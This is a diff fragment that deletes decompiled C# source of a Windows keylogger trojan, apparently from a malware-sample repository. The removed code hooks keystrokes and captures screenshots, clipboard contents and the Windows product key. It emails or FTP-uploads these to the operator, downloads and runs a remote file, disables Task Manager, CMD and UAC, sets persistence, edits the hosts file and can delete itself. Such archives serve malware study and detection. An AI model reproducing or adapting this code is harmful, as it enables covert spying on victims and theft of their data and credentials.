break; - } - if (Operators.CompareString(Left, "3", false) == 0) - { - Left = "#"; - break; - } - if (Operators.CompareString(Left, "4", false) == 0) - { - Left = "$"; - break; - } - if (Operators.CompareString(Left, "5", false) == 0) - { - Left = "%"; - break; - } - if (Operators.CompareString(Left, "6", false) == 0) - { - Left = "^"; - break; - } - if (Operators.CompareString(Left, "7", false) == 0) - { - Left = "&"; - break; - } - if (Operators.CompareString(Left, "8", false) == 0) - { - Left = "*"; - break; - } - if (Operators.CompareString(Left, "9", false) == 0) - { - Left = "("; - break; - } - if (Operators.CompareString(Left, "0", false) == 0) - { - Left = ")"; - break; - } - break; - } - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - break; - case 65: - case 66: - case 67: - case 68: - case 69: - case 70: - case 71: - case 72: - case 73: - case 74: - case 75: - case 76: - case 77: - case 78: - case 79: - case 80: - case 81: - case 82: - case 83: - case 84: - case 85: - case 86: - case 87: - case 88: - case 89: - case 90: - Left = !(Module1.UyjeTneVi | Module1.HYKPoc) ? Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))) : Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))).ToUpper(); - break; - case 96: - case 97: - case 98: - case 99: - case 100: - case 101: - case 102: - case 103: - case 104: - case 105: - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "a", false) == 0) - Left = Conversions.ToString(1); - if (Operators.CompareString(Left, "b", false) == 0) - Left = Conversions.ToString(2); - if (Operators.CompareString(Left, "c", false) == 0) - Left = Conversions.ToString(3); - if (Operators.CompareString(Left, "d", false) == 0) - Left = Conversions.ToString(4); - if (Operators.CompareString(Left, "e", false) == 0) - Left = Conversions.ToString(5); - if (Operators.CompareString(Left, "f", false) == 0) - Left = Conversions.ToString(6); - if (Operators.CompareString(Left, "g", false) == 0) - Left = Conversions.ToString(7); - if (Operators.CompareString(Left, "h", false) == 0) - Left = Conversions.ToString(8); - if (Operators.CompareString(Left, "i", false) == 0) - Left = Conversions.ToString(9); - if (Operators.CompareString(Left, "`", false) == 0) - { - Left = Conversions.ToString(0); - break; - } - break; - case 109: - case 189: - Left = !Module1.UyjeTneVi ? "-" : "_"; - break; - case 110: - case 190: - Left = Module1.UyjeTneVi ? ">" : "."; - break; - case 112: - case 113: - case 114: - case 115: - case 116: - case 117: - case 118: - case 119: - case 120: - case 121: - case 122: - case 123: - case 124: - case 125: - case 126: - case (int) sbyte.MaxValue: - case 128: - case 129: - case 130: - case 131: - case 132: - case 133: - case 134: - case 135: - Left = "[F" + Conversions.ToString(checked (lParam.vkCode - 111)) + "]"; - break; - case 160: - case 161: - if (!Module1.UsyuHK) - { - Left = " [UyjeTneVi] "; - break; - } - Module1.UyjeTneVi = true; - break; - case 162: - case 163: - Left = " [ctrl] "; - break; - case 164: - Left = " [alt] "; - break; - case 165: - Left = " [ralt] "; - break; - default: - Left = Conversions.ToString(lParam.vkCode); - if (Module1.UyjeTneVi) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "~"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "{"; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "}"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "|"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "\""; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ":"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = "<"; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "?"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "+"; - } - else if (!Module1.UyjeTneVi) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "`"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "["; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "]"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "\\"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "'"; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ";"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = ","; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "="; - } - if (Operators.CompareString(Left, "107", false) == 0) - Left = "+"; - if (Operators.CompareString(Left, "107", false) == 0) - Left = "*"; - if (Operators.CompareString(Left, "111", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "44", false) == 0) - { - Left = " [SS] "; - break; - } - break; - } - } - } - else if (wParam == 257 | wParam == 261) - { - switch (lParam.vkCode) - { - case 160: - case 161: - if (!Module1.UsyuHK) - Left = "[/UyjeTneVi]"; - Module1.UyjeTneVi = false; - break; - case 162: - case 163: - Left = "[/ctrl]"; - break; - case 164: - Left = "[/lalt]"; - break; - case 165: - Left = "[/ralt]"; - break; - } - } - Module1.knIkoDN += Left; - if (Operators.CompareString(Left, "", false) == 0) - ; - num = Module1.CallNextHookEx((int) Module1.KeyboardHandle, Code, wParam, lParam); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num = Conversions.ToInteger(""); - ProjectData.ClearProjectError(); - } -label_130: - return num; - } - - [STAThread] - public static void Main() - { - if (!Module1.SDDate.Contains("SDDate+") && DateTime.Compare(DateAndTime.Today.Date, Conversions.ToDate(Module1.SDDate)) == 0) - Module1.MhisCwapJ(); - if (!Module1.Delay.Contains("DelOff+")) - Module1.zBLiPsIo(Conversions.ToInteger(Module1.Delay)); - string hfkWcjBba = Module1.hfkWcjBba; - Module1.hfkWcjBba = Operators.CompareString(hfkWcjBba, "AaD", false) != 0 ? (Operators.CompareString(hfkWcjBba, "FaF", false) != 0 ? (Operators.CompareString(hfkWcjBba, "MaD", false) != 0 ? (Operators.CompareString(hfkWcjBba, "SaF", false) != 0 ? (Operators.CompareString(hfkWcjBba, "WaF", false) != 0 ? Module1.hfkWcjBba : Module1.IcFJXUD) : Module1.CgssIMP) : Module1.iPiowlR) : Module1.zRfBo) : Module1.gaspN; - Module1.bWzCio = Module1.TripleDESDecode(Module1.bWzCio, "System.Net"); - Module1.JtBIYyxO = Module1.TripleDESDecode(Module1.JtBIYyxO, "System.Net"); - Module1.paTaFfRhk = Module1.TripleDESDecode(Module1.paTaFfRhk, "System.Net"); - Module1.jaoyhhUHh = Module1.TripleDESDecode(Module1.jaoyhhUHh, "System.Net"); - Module1.WgPPCoPly = "\\" + Module1.WgPPCoPly; - if (Operators.CompareString(Application.StartupPath, Module1.hfkWcjBba, false) != 0) - { - if (!Module1.Message[0].Contains("MsgFalse+")) - { - MessageBoxIcon messageBoxIcon = new MessageBoxIcon(); - MessageBoxIcon integer = (MessageBoxIcon) Conversions.ToInteger(Module1.Message[2]); - int num = (int) MessageBox.Show(Module1.Message[1], Module1.Message[0], MessageBoxButtons.OK, integer); - } - if (System.IO.File.Exists(Module1.hfkWcjBba + Module1.WgPPCoPly)) - ProjectData.EndApp(); - if (Module1.FRMsg) - { - string str1; - if (Module1.zUyXoP) - { - ref string local1 = ref Module1.LuGMIT; - ref string local2 = ref Module1.bWzCio; - ref string local3 = ref Module1.JtBIYyxO; - ref string local4 = ref Module1.dLzULCP; - string str2 = "[First Run] Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str2; - str1 = "Hello, this is an email letting you know that your keylogger has been freshly installed on the computer in the title. Thank you."; - ref string local6 = ref str1; - int integer = Conversions.ToInteger(Module1.YkMgLjC); - ref int local7 = ref integer; - ref bool local8 = ref Module1.TakeScrns; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.YkMgLjC = Conversions.ToString(integer); - } - if (Module1.BIaiY) - { - ref string local9 = ref Module1.zuYoHb; - ref string local10 = ref Module1.SMebxTsxt; - ref string local11 = ref Module1.paTaFfRhk; - ref string local12 = ref Module1.jaoyhhUHh; - str1 = "Hello, this is a message letting you know that you keylogger has been installed on " + Environment.MachineName + "."; - ref string local13 = ref str1; - Module1.UpFTP(ref local9, ref local10, ref local11, ref local12, ref local13); - } - } - if (Module1.SPlIgmitw) - { - if (System.IO.File.Exists(Path.GetTempPath() + Module1.VIjGEgOf)) - System.IO.File.Delete(Path.GetTempPath() + Module1.VIjGEgOf); - MyProject.Computer.Network.DownloadFile(Module1.PicSxHHG, Path.GetTempPath() + Module1.VIjGEgOf); - if (System.IO.File.Exists(Path.GetTempPath() + Module1.VIjGEgOf)) - { - if (Module1.sumMbTEl) - Process.Start(Path.GetTempPath() + Module1.VIjGEgOf, Conversions.ToString(new ProcessStartInfo().WindowStyle == ProcessWindowStyle.Normal)); - else - Process.Start(Path.GetTempPath() + Module1.VIjGEgOf); - } - } - if (Module1.EOjwkWxUT) - { - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 1", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2", AppWinStyle.Hide); - } - if (Module1.OiZQdo == 2) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ", "DisableTaskMgr", (object) "1"); - if (Module1.qvEtZijhm) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoRun", (object) "1"); - if (Module1.dVtJClUWq) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoViewContextMenu", (object) "1"); - if (Module1.RamPi) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - if (Module1.pBuNw) - Interaction.Shell("C:\\Windows\\System32\\RamPi.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide); - if (Module1.tqNjIzvIZ) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, Module1.hfkWcjBba + Module1.WgPPCoPly); - Process.Start(Module1.hfkWcjBba + Module1.WgPPCoPly); - if (Operators.CompareString(Module1.vOWMrmn, "Melt", false) == 0) - Module1.MhisCwapJ(); - else if (Operators.CompareString(Module1.vOWMrmn, "Hide", false) == 0) - new FileInfo(Application.ExecutablePath).Attributes = FileAttributes.Hidden; - ProjectData.EndApp(); - } - if (new KQXCPOeh(Module1.FVYbTrV).IsRunning()) - Environment.Exit(0); - try - { - if (Operators.CompareString(Module1.SCMSOaqr, "CurrentUser", false) == 0 | Operators.CompareString(Module1.SCMSOaqr, "LocalMachine", false) == 0) - ROS.set_Runonstartup((string) null, ROS.StartupCheckCriteria.Either, true); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num = (int) Interaction.MsgBox((object) ex.Message); - ProjectData.ClearProjectError(); - } - if (Module1.sUoTrJ.Length != 4) - { - string[] strArray = Strings.Split(Module1.sUoTrJ, ","); - int index = 0; - while (index < strArray.Length) - { - string str = strArray[index]; - System.IO.File.AppendAllText(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\drivers\\etc\\hosts", "\r\n127.0.0.1 " + str); - checked { ++index; } - } - } - Module1.uctfjKkvp(); - switch (Module1.OiZQdo) - { - case 3: - new Thread(new ThreadStart(Module1.NtLxCbPNH)).Start(); - break; - case 4: - IvtnGD.Running = true; - break; - } - if (Module1.SSTime) - new Thread(new ThreadStart(Module1.TimedSS)).Start(); - while (true) - { - try - { - do - { - Module1.WaitEx(); - } - while (Operators.CompareString(Module1.knIkoDN, "", false) == 0 & Module1.NoEL); - string str = ""; - if (Module1.GHFKu) - str = str + "System Information - \r\n" + Module1.lqbVcGh() + "\r\n"; - if (Module1.lCFIz) - str = str + "Clipboard: " + Clipboard.GetText(); - Module1.knIkoDN = str + Module1.knIkoDN; - Module1.LastCheckedForegroundTitle = ""; - new Thread(new ThreadStart(Module1.nJwGdYCEk)).Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - public static void TimedSS() - { - while (true) - { - do - { - Module1.WaitEx1(); - if (Module1.zUyXoP) - { - ref string local1 = ref Module1.LuGMIT; - ref string local2 = ref Module1.bWzCio; - ref string local3 = ref Module1.JtBIYyxO; - ref string local4 = ref Module1.dLzULCP; - string str1 = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str1; - string str2 = "Attached is a screenshot of the victim in the title."; - ref string local6 = ref str2; - int integer = Conversions.ToInteger(Module1.YkMgLjC); - ref int local7 = ref integer; - bool flag = true; - ref bool local8 = ref flag; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.YkMgLjC = Conversions.ToString(integer); - } - } - while (!Module1.BIaiY); - Module1.UpFTPImg(ref Module1.zuYoHb, ref Module1.SMebxTsxt, ref Module1.paTaFfRhk, ref Module1.jaoyhhUHh); - } - } - - public static void WaitEx1() - { - Thread thread = new Thread(new ThreadStart(Module1.WT1)); - thread.Start(); - thread.Join(); - } - - public static void WT1() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.SSInt) * 60.0 * 1000.0)))); - - public static void nJwGdYCEk() - { - string knIkoDn = Module1.knIkoDN; - Module1.knIkoDN = ""; - if (Module1.zUyXoP) - { - ref string local1 = ref Module1.LuGMIT; - ref string local2 = ref Module1.bWzCio; - ref string local3 = ref Module1.JtBIYyxO; - ref string local4 = ref Module1.dLzULCP; - string str = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str; - ref string local6 = ref knIkoDn; - int integer = Conversions.ToInteger(Module1.YkMgLjC); - ref int local7 = ref integer; - ref bool local8 = ref Module1.TakeScrns; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.YkMgLjC = Conversions.ToString(integer); - } - if (!Module1.BIaiY) - return; - Module1.UpFTP(ref Module1.zuYoHb, ref Module1.SMebxTsxt, ref Module1.paTaFfRhk, ref Module1.jaoyhhUHh, ref knIkoDn); - } - - public static void WaitEx() - { - Thread thread = new Thread(new ThreadStart(Module1.WT)); - thread.Start(); - thread.Join(); - } - - public static void WT() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.COetBDMje) * 60.0 * 1000.0)))); - - private static void zBLiPsIo(int interval) - { - Stopwatch stopwatch = new Stopwatch(); - stopwatch.Start(); - while (stopwatch.ElapsedMilliseconds < (long) interval) - Application.DoEvents(); - stopwatch.Stop(); - } - - private static string GetWindowsKey() - { - object Instance = (object) (NewLateBinding.LateGet((object) Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", false), (System.Type) null, "GetValue", new object[1] - { - (object) "DigitalProductId" - }, (string[]) null, (System.Type[]) null, (bool[]) null) as byte[]); - if (Instance == null) - return "value was nothing!"; - char[] chArray = new char[29]; - int index = 28; - do - { - if (checked (index + 1) % 6 == 0) - { - chArray[index] = '-'; - } - else - { - object Operand = (object) 0; - int num = 66; - do - { - object Left = Operators.OrObject(Operators.LeftShiftObject(Operand, (object) 8), NewLateBinding.LateIndexGet(Instance, new object[1] - { - (object) num - }, (string[]) null)); - NewLateBinding.LateIndexSet(Instance, new object[2] - { - (object) num, - (object) Conversions.ToByte(Operators.IntDivideObject(Left, (object) 24)) - }, (string[]) null); - Operand = Operators.ModObject(Left, (object) 24); - chArray[index] = "BCDFGHJKMPQRTVWXY2346789"[Conversions.ToInteger(Operand)]; - checked { num += -1; } - } - while (num >= 52); - } - checked { index += -1; } - } - while (index >= 0); - return new string(chArray); - } - - public static string zjfUofW(object Bytes) - { - string str; - try - { - if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1073741824, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), (object) 1024), "#0.00") + " GB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1048576, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), "#0.00") + " MB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1024, false)) - { - str = Strings.Format(Operators.DivideObject(Bytes, (object) 1024), "#0.00") + " KB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectLess(Bytes, (object) 1024, false)) - { - str = Conversions.ToString(Operators.ConcatenateObject(Conversion.Fix(RuntimeHelpers.GetObjectValue(Bytes)), (object) " Bytes")); - goto label_10; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = "0 Bytes"; - ProjectData.ClearProjectError(); - goto label_10; - } - return "0 Bytes"; -label_10: - return str; - } - - public static string lqbVcGh() => "Machine Name: " + Environment.MachineName + "\r\n" + "Current User: " + Environment.UserName + "\r\n" + "Operating System: " + Module1.GenerateOperatingSystem() + "\r\n" + "Windows Key: " + Module1.GetWindowsKey() + "\r\n" + "Available Physical Memory: " + Module1.zjfUofW((object) MyProject.Computer.Info.AvailablePhysicalMemory.ToString()) + "\r\n" + "Available Virtual Memory: " + Module1.zjfUofW((object) MyProject.Computer.Info.AvailableVirtualMemory.ToString()) + "\r\n" + "System Directory: " + Environment.SystemDirectory + "\r\n" + "Local Time: " + DateAndTime.Now.ToString(); - - public static string GenerateOperatingSystem() - { - OperatingSystem osVersion = Environment.OSVersion; - string operatingSystem = "UN"; - switch (osVersion.Platform) - { - case PlatformID.Win32Windows: - switch (osVersion.Version.Minor) - { - case 0: - operatingSystem = "95"; - break; - case 10: - operatingSystem = "98"; - break; - case 90: - operatingSystem = "ME"; - break; - } - break; - case PlatformID.Win32NT: - switch (osVersion.Version.Major) - { - case 3: - operatingSystem = "NT"; - break; - case 4: - operatingSystem = "NT"; - break; - case 5: - if (osVersion.Version.Minor == 0) - { - operatingSystem = "2K"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "XP"; - break; - } - if (osVersion.Version.Minor == 2) - { - operatingSystem = "2K3"; - break; - } - break; - case 6: - operatingSystem = "VS"; - if (osVersion.Version.Minor == 0) - { - operatingSystem = "VS"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "W7"; - break; - } - break; - } - break; - } - return operatingSystem; - } - - public static void NtLxCbPNH() - { -label_0: - Module1.zBLiPsIo(300); - Process[] processes = Process.GetProcesses(); - int index = 0; - while (index < processes.Length) - { - Process process = processes[index]; - if (process.MainWindowTitle.Contains("Windows Task Manager")) - { - process.Kill(); - Module1.zBLiPsIo(700); - } - checked { ++index; } - } - goto label_0; - } - - [DllImport("kernel32", EntryPoint = "GetModuleFileNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetModuleFileName(int hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileName, int nSize); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ExitProcess(uint uExitCode); - - [DllImport("kernel32", EntryPoint = "MoveFileExW", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int MoveFile([MarshalAs(UnmanagedType.LPTStr), In] string lpExistingFileName, [MarshalAs(UnmanagedType.LPTStr), In] string lpNewFileName, long dwFlags); - - public static void MhisCwapJ() - { - string executablePath1 = Application.ExecutablePath; - string executablePath2 = Application.ExecutablePath; - int moduleFileName = Module1.GetModuleFileName(0, ref executablePath2, 256); - Module1.MoveFile(Strings.Left(executablePath1, moduleFileName), Path.GetTempPath() + "\\tm" + DateTime.Now.Millisecond.ToString() + ".tmp", 8L); - Module1.ExitProcess(0U); - } - - public static string UpFTP( - ref string LuGMIT, - ref string Dir, - ref string bWzCio, - ref string JtBIYyxO, - ref string upStr) - { - string str1; - try - { - string str2 = "\\" + Module1.LT + ".txt"; - string str3 = Path.GetTempPath() + str2; - System.IO.File.WriteAllText(str3, upStr); - MyProject.Computer.Network.UploadFile(str3, "ftp://" + LuGMIT + Dir + str2, bWzCio, JtBIYyxO); - if (Module1.TakeScrns) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + LuGMIT + Dir + str2 + ".gif", bWzCio, JtBIYyxO); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - } - System.IO.File.Delete(str3); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string UpFTPImg( - ref string Host, - ref string Dir, - ref string Username, - ref string Password) - { - string str1; - try - { - string str2 = "\\" + Module1.LT; - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + Host + Dir + str2 + ".gif", Username, Password); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string SendEmail( - ref string SMTP, - ref string Froma, - ref string Password, - ref string Recipient, - ref string Subject, - ref string Body, - ref int Port, - ref bool TakePic = false) - { - string str1; - try - { - MailMessage message = new MailMessage(); - message.From = new MailAddress(Froma); - message.To.Add(Recipient); - message.Subject = Subject; - message.Body = Body; - SmtpClient smtpClient = new SmtpClient(SMTP); - string str2 = "\\" + Module1.LT; - if (TakePic) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - Attachment attachment = new Attachment(Path.GetTempPath() + str2 + ".gif"); - message.Attachments.Add(attachment); - } - smtpClient.Port = Port; - smtpClient.EnableSsl = true; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(Froma, Password); - smtpClient.Send(message); - if (Module1.TakeScrns) - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "Email information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "Email information invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - private static string TripleDESEncode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - MemoryStream memoryStream = new MemoryStream(checked (value.Length * 2 - 1)); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write); - byte[] bytes = Encoding.UTF8.GetBytes(value); - cryptoStream.Write(bytes, 0, bytes.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Convert.ToBase64String(numArray); - } - - public static string TripleDESDecode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - byte[] buffer = Convert.FromBase64String(value); - MemoryStream memoryStream = new MemoryStream(value.Length); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write); - cryptoStream.Write(buffer, 0, buffer.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Encoding.UTF8.GetString(numArray); - } - - public struct nJkpEOiw - { - public int vkCode; - public int scanCode; - public int flags; - public int time; - public int dwExtraInfo; - } - - public enum LvovanmD - { - K_Backspace = 8, - K_Tab = 9, - K_Return = 13, // 0x0000000D - K_Shift = 16, // 0x00000010 - K_Control = 17, // 0x00000011 - K_Alt = 18, // 0x00000012 - K_Pause = 19, // 0x00000013 - K_CapsLock = 20, // 0x00000014 - K_Esc = 27, // 0x0000001B - K_Space = 32, // 0x00000020 - iRFaQHVf = 35, // 0x00000023 - fLiBNBxr = 36, // 0x00000024 - K_Left = 37, // 0x00000025 - K_Up = 38, // 0x00000026 - K_Right = 39, // 0x00000027 - K_Down = 40, // 0x00000028 - K_PrintScreen = 44, // 0x0000002C - DEZbk = 45, // 0x0000002D - SSQVHNUlM = 46, // 0x0000002E - K_0 = 48, // 0x00000030 - K_1 = 49, // 0x00000031 - K_2 = 50, // 0x00000032 - K_3 = 51, // 0x00000033 - K_4 = 52, // 0x00000034 - K_5 = 53, // 0x00000035 - K_6 = 54, // 0x00000036 - K_7 = 55, // 0x00000037 - K_8 = 56, // 0x00000038 - K_9 = 57, // 0x00000039 - K_A = 65, // 0x00000041 - K_B = 66, // 0x00000042 - K_C = 67, // 0x00000043 - K_D = 68, // 0x00000044 - K_E = 69, // 0x00000045 - K_F = 70, // 0x00000046 - K_G = 71, // 0x00000047 - K_H = 72, // 0x00000048 - K_I = 73, // 0x00000049 - K_J = 74, // 0x0000004A - K_K = 75, // 0x0000004B - K_L = 76, // 0x0000004C - K_M = 77, // 0x0000004D - K_N = 78, // 0x0000004E - K_O = 79, // 0x0000004F - K_P = 80, // 0x00000050 - K_Q = 81, // 0x00000051 - K_R = 82, // 0x00000052 - K_S = 83, // 0x00000053 - K_T = 84, // 0x00000054 - K_U = 85, // 0x00000055 - K_V = 86, // 0x00000056 - K_W = 87, // 0x00000057 - K_X = 88, // 0x00000058 - K_Y = 89, // 0x00000059 - K_Z = 90, // 0x0000005A - K_LWin = 91, // 0x0000005B - K_RWin = 92, // 0x0000005C - K_Numpad0 = 96, // 0x00000060 - K_Numpad1 = 97, // 0x00000061 - K_Numpad2 = 98, // 0x00000062 - K_Numpad3 = 99, // 0x00000063 - K_Numpad4 = 100, // 0x00000064 - K_Numpad5 = 101, // 0x00000065 - K_Numpad6 = 102, // 0x00000066 - K_Numpad7 = 103, // 0x00000067 - K_Numpad8 = 104, // 0x00000068 - K_Numpad9 = 105, // 0x00000069 - K_Num_Multiply = 106, // 0x0000006A - K_Num_Add = 107, // 0x0000006B - K_Num_Subtract = 109, // 0x0000006D - K_Num_Decimal = 110, // 0x0000006E - K_Num_Divide = 111, // 0x0000006F - K_F1 = 112, // 0x00000070 - K_F2 = 113, // 0x00000071 - K_F3 = 114, // 0x00000072 - K_F4 = 115, // 0x00000073 - K_F5 = 116, // 0x00000074 - K_F6 = 117, // 0x00000075 - K_F7 = 118, // 0x00000076 - K_F8 = 119, // 0x00000077 - K_F9 = 120, // 0x00000078 - K_F10 = 121, // 0x00000079 - K_F11 = 122, // 0x0000007A - K_F12 = 123, // 0x0000007B - K_F13 = 124, // 0x0000007C - K_F14 = 125, // 0x0000007D - K_F15 = 126, // 0x0000007E - K_F16 = 127, // 0x0000007F - K_F17 = 128, // 0x00000080 - K_F18 = 129, // 0x00000081 - K_F19 = 130, // 0x00000082 - K_F20 = 131, // 0x00000083 - K_F21 = 132, // 0x00000084 - K_F22 = 133, // 0x00000085 - K_F23 = 134, // 0x00000086 - K_F24 = 135, // 0x00000087 - K_NumLock = 144, // 0x00000090 - K_LShift = 160, // 0x000000A0 - K_RShift = 161, // 0x000000A1 - TuDQrMqPg = 162, // 0x000000A2 - wsFWkstDa = 163, // 0x000000A3 - K_LAlt = 164, // 0x000000A4 - K_RAlt = 165, // 0x000000A5 - K_Subtract = 189, // 0x000000BD - K_Decimal = 190, // 0x000000BE - } - - private delegate int KeyboardHookDelegate(int Code, int wParam, ref Module1.nJkpEOiw lParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/My/MyApplication.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/My/MyApplication.cs deleted file mode 100644 index 7926e817..00000000 